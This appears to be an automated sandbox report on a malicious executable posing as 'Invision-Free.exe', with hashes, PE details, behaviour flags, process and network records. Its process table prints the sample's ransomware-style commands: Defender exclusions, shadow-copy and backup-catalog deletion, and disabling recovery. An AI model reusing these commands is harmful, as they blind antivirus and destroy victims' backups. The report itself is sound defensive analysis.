File name:

Invision-Free.exe

Full analysis: https://app.any.run/tasks/f278c5b1-bb15-4d56-9e18-d5c1d80a19a9
Verdict: Malicious activity
Analysis date: January 24, 2022, 15:49:11
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
MD5:

6E4E73B54B77E7D5BC66A01DBBB34560

SHA1:

C7F41E25274ADE8387BE9D0D4BB700E42E0D814B

SHA256:

CD061B59DC1B8F5F1F95D064BEF7F43402392BB19CA27E220000C66CA7819584

SSDEEP:

49152:xXwsj9ljg1OpzWI28k7Ly5wD8wnXlVVsIiPAXtHCFgEnojgk:2shljg1OpzWIwy5snXloIIAXAFgEU

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  • MALICIOUS

    • Executes PowerShell scripts

      • cmd.exe (PID: 1344)
      • cmd.exe (PID: 1040)

    • Drops executable file immediately after starts

      • Invision-Free.exe (PID: 488)

    • Writes to a start menu file

      • svchost.exe (PID: 2308)

    • Application was dropped or rewritten from another process

      • staler.exe (PID: 3460)
      • dll_loader.exe (PID: 3620)
      • svchost.exe (PID: 2308)
      • staler_loader.exe (PID: 3020)

    • Deletes shadow copies

      • cmd.exe (PID: 1976)
      • cmd.exe (PID: 1536)

    • Application was injected by another process

      • SearchIndexer.exe (PID: 2996)
      • svchost.exe (PID: 876)
      • svchost.exe (PID: 3456)
      • svchost.exe (PID: 332)
      • wmiprvse.exe (PID: 1696)

    • Starts BCDEDIT.EXE to disable recovery

      • cmd.exe (PID: 3736)

    • Runs injected code in another process

      • wbadmin.exe (PID: 3224)

    • Loads the Task Scheduler COM API

      • wbengine.exe (PID: 3628)

  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • Invision-Free.exe (PID: 488)
      • svchost.exe (PID: 2308)

    • Checks supported languages

      • cmd.exe (PID: 1344)
      • cmd.exe (PID: 1040)
      • powershell.exe (PID: 2596)
      • Invision-Free.exe (PID: 488)
      • powershell.exe (PID: 2524)
      • cmd.exe (PID: 2380)
      • cmd.exe (PID: 2908)
      • cmd.exe (PID: 2668)
      • cmd.exe (PID: 2200)
      • dll_loader.exe (PID: 3620)
      • staler_loader.exe (PID: 3020)
      • staler.exe (PID: 3460)
      • svchost.exe (PID: 2308)
      • powershell.exe (PID: 3060)
      • cmd.exe (PID: 1976)
      • WMIC.exe (PID: 3924)
      • cmd.exe (PID: 3736)
      • wmiprvse.exe (PID: 1696)
      • cmd.exe (PID: 1536)

    • Drops a file with too old compile date

      • Invision-Free.exe (PID: 488)

    • Reads the computer name

      • powershell.exe (PID: 2524)
      • powershell.exe (PID: 2596)
      • staler_loader.exe (PID: 3020)
      • dll_loader.exe (PID: 3620)
      • powershell.exe (PID: 3060)
      • svchost.exe (PID: 2308)
      • WMIC.exe (PID: 3924)
      • wmiprvse.exe (PID: 1696)
      • staler.exe (PID: 3460)

    • Executable content was dropped or overwritten

      • Invision-Free.exe (PID: 488)
      • dll_loader.exe (PID: 3620)

    • Drops a file with a compile date too recent

      • Invision-Free.exe (PID: 488)
      • dll_loader.exe (PID: 3620)

    • Reads Environment values

      • staler_loader.exe (PID: 3020)
      • staler.exe (PID: 3460)

    • Creates executable files which already exist in Windows

      • dll_loader.exe (PID: 3620)

    • Creates files in the user directory

      • dll_loader.exe (PID: 3620)
      • svchost.exe (PID: 2308)

    • Starts itself from another location

      • dll_loader.exe (PID: 3620)

    • Creates files in the program directory

      • SearchIndexer.exe (PID: 2996)

    • Executed as Windows Service

      • vssvc.exe (PID: 2640)
      • wbengine.exe (PID: 3628)
      • vds.exe (PID: 212)

    • Creates files in the Windows directory

      • wbadmin.exe (PID: 3224)

    • Executed via COM

      • vdsldr.exe (PID: 1248)

  • INFO

    • Checks Windows Trust Settings

      • powershell.exe (PID: 2524)
      • powershell.exe (PID: 2596)
      • powershell.exe (PID: 3060)

    • Reads settings of System Certificates

      • powershell.exe (PID: 3060)
      • powershell.exe (PID: 2524)

    • Reads the computer name

      • vssadmin.exe (PID: 4032)
      • vssvc.exe (PID: 2640)
      • svchost.exe (PID: 3456)
      • wbadmin.exe (PID: 3224)
      • wbengine.exe (PID: 3628)
      • vdsldr.exe (PID: 1248)
      • vds.exe (PID: 212)

    • Checks supported languages

      • vssvc.exe (PID: 2640)
      • svchost.exe (PID: 3456)
      • vssadmin.exe (PID: 4032)
      • bcdedit.exe (PID: 2780)
      • bcdedit.exe (PID: 2796)
      • wbadmin.exe (PID: 3224)
      • wbengine.exe (PID: 3628)
      • vdsldr.exe (PID: 1248)
      • vds.exe (PID: 212)
      • NOTEPAD.EXE (PID: 2844)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win64 Executable (generic) (61.6)
.dll | Win32 Dynamic Link Library (generic) (14.6)
.exe | Win32 Executable (generic) (10)
.exe | Win16/32 Executable Delphi generic (4.6)
.exe | Generic Win/DOS Executable (4.4)

EXIF

EXE

Subsystem: Windows GUI
SubsystemVersion: 4
ImageVersion: -
OSVersion: 4
EntryPoint: 0x1559
UninitializedDataSize: -
InitializedDataSize: 3383808
CodeSize: 2048
LinkerVersion: 6
PEType: PE32
TimeStamp: 0000:00:00 00:00:00
MachineType: Intel 386 or later, and compatibles

Summary

Architecture: IMAGE_FILE_MACHINE_I386
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date: 01-Jan-1970 00:00:00
Detected languages:
  • English - United States

DOS Header

Magic number: MZ
Bytes on last page of file: 0x0090
Pages in file: 0x0003
Relocations: 0x0000
Size of header: 0x0004
Min extra paragraphs: 0x0000
Max extra paragraphs: 0xFFFF
Initial SS value: 0x0000
Initial SP value: 0x00B8
Checksum: 0x0000
Initial IP value: 0x0000
Initial CS value: 0x0000
Overlay number: 0x0000
OEM identifier: 0x0000
OEM information: 0x0000
Address of NE header: 0x00000080

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_I386
Number of sections: 4
Time date stamp: 01-Jan-1970 00:00:00
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00E0
Characteristics:
  • IMAGE_FILE_32BIT_MACHINE
  • IMAGE_FILE_DEBUG_STRIPPED
  • IMAGE_FILE_EXECUTABLE_IMAGE
  • IMAGE_FILE_LINE_NUMS_STRIPPED
  • IMAGE_FILE_LOCAL_SYMS_STRIPPED
  • IMAGE_FILE_RELOCS_STRIPPED

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
.text
0x00001000
0x000006F0
0x00000800
IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
4.80236
.rdata
0x00002000
0x00339E11
0x0033A000
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
6.99799
.bss
0x0033C000
0x00000004
0x00000000
IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
0
.rsrc
0x0033D000
0x000001F0
0x00000200
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
4.81994

Resources

Title
Entropy
Size
Codepage
Language
Type
1
4.85064
408
UNKNOWN
English - United States
RT_MANIFEST

Imports

kernel32.dll
msvcrt.dll
No data.
screenshotscreenshot
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Total processes
78
Monitored processes
33
Malicious processes
9
Suspicious processes
4

Behavior graph

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start drop and start inject inject inject inject inject invision-free.exe cmd.exe no specs cmd.exe no specs powershell.exe no specs powershell.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs staler_loader.exe staler.exe dll_loader.exe powershell.exe no specs svchost.exe cmd.exe no specs vssadmin.exe no specs vssvc.exe no specs wmic.exe no specs cmd.exe no specs bcdedit.exe no specs bcdedit.exe no specs cmd.exe no specs wbadmin.exe no specs svchost.exe svchost.exe wmiprvse.exe searchindexer.exe svchost.exe wbengine.exe no specs vdsldr.exe no specs vds.exe no specs notepad.exe no specs invision-free.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
212C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe—services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Virtual Disk Service
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\vds.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\atl.dll
332C:\Windows\system32\svchost.exe -k NetworkServiceC:\Windows\system32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\ole32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
488"C:\Users\admin\AppData\Local\Temp\Invision-Free.exe" C:\Users\admin\AppData\Local\Temp\Invision-Free.exe
Explorer.EXE
User:
admin
Integrity Level:
HIGH
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\invision-free.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\apphelp.dll
876C:\Windows\system32\svchost.exe -k netsvcsC:\Windows\system32\svchost.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\ole32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
1040cmd /c powershell -Command "Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exitC:\Windows\system32\cmd.exe—Invision-Free.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\kernel32.dll
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
1248C:\Windows\System32\vdsldr.exe -EmbeddingC:\Windows\System32\vdsldr.exe—svchost.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Virtual Disk Service Loader
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\vdsldr.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\ole32.dll
c:\windows\system32\atl.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
1344cmd /c powershell -Command "Add-Type -AssemblyName System.Windows.Forms;[System.Windows.Forms.MessageBox]::Show('Invalid .exe name','Error','OK','Error')"C:\Windows\system32\cmd.exe—Invision-Free.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
1536"C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quietC:\Windows\System32\cmd.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
1696C:\Windows\system32\wbem\wmiprvse.exe -secured -EmbeddingC:\Windows\system32\wbem\wmiprvse.exe
svchost.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
WMI Provider Host
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\wbem\wmiprvse.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
1976"C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy deleteC:\Windows\System32\cmd.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
Total events
20 156
Read events
20 069
Write events
87
Delete events
0

Modification events

(PID) Process:(3020) staler_loader.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\staler_loader_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(3020) staler_loader.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\staler_loader_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(3020) staler_loader.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\staler_loader_RASAPI32
Operation:writeName:FileTracingMask
Value:
(PID) Process:(3460) staler.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\staler_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(3460) staler.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\staler_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(3460) staler.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\staler_RASAPI32
Operation:writeName:FileTracingMask
Value:
(PID) Process:(3460) staler.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\staler_RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
(PID) Process:(3460) staler.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\staler_RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
(PID) Process:(3460) staler.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\staler_RASAPI32
Operation:writeName:FileDirectory
Value:
%windir%\tracing
(PID) Process:(3460) staler.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\staler_RASMANCS
Operation:writeName:EnableFileTracing
Value:
0
Executable files
5
Suspicious files
11
Text files
98
Unknown types
2

Dropped files

PID
Process
Filename
Type
488Invision-Free.exeC:\Users\admin\AppData\Local\Temp\service64-uninstaller.exeexecutable
MD5:—
SHA256:—
3620dll_loader.exeC:\Users\admin\AppData\Roaming\svchost.exeexecutable
MD5:—
SHA256:—
876svchost.exeC:\Windows\appcompat\programs\RecentFileCache.bcftxt
MD5:—
SHA256:—
2308svchost.exeC:\Users\admin\Links\read_it.txttext
MD5:—
SHA256:—
2308svchost.exeC:\Users\admin\Documents\read_it.txttext
MD5:—
SHA256:—
2308svchost.exeC:\Users\admin\Documents\OneNote Notebooks\Personal\read_it.txttext
MD5:—
SHA256:—
2308svchost.exeC:\Users\admin\Documents\Outlook Files\read_it.txttext
MD5:—
SHA256:—
488Invision-Free.exeC:\Users\admin\AppData\Local\Temp\staler_loader.exeexecutable
MD5:—
SHA256:—
2524powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivedbf
MD5:446DD1CF97EABA21CF14D03AEBC79F27
SHA256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
2524powershell.exeC:\Users\admin\AppData\Local\Temp\z105x5ii.xsw.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
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HTTP(S) requests
0
TCP/UDP connections
5
DNS requests
3
Threats
3

HTTP requests

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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3020
staler_loader.exe
193.122.6.168:80
checkip.dyndns.org
Oracle Corporation
US
malicious
3460
staler.exe
23.128.64.141:443
ip4.seeip.org
Joe's Datacenter, LLC
US
suspicious
3020
staler_loader.exe
132.226.8.169:80
checkip.dyndns.org
Oracle Corporation
US
malicious
3020
staler_loader.exe
193.122.130.0:80
checkip.dyndns.org
Oracle Corporation
US
malicious

DNS requests

Domain
IP
Reputation
checkip.dyndns.org
  • 132.226.8.169
  • 193.122.6.168
  • 193.122.130.0
  • 158.101.44.242
  • 132.226.247.73
shared
ip4.seeip.org
  • 23.128.64.141
suspicious
dns.msftncsi.com
  • 131.107.255.255
shared

Threats

PID
Process
Class
Message
—
—
Misc activity
ET INFO DYNAMIC_DNS Query to *.dyndns. Domain
—
—
Misc activity
AV INFO Query to checkip.dyndns. Domain
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Invision-Free.exe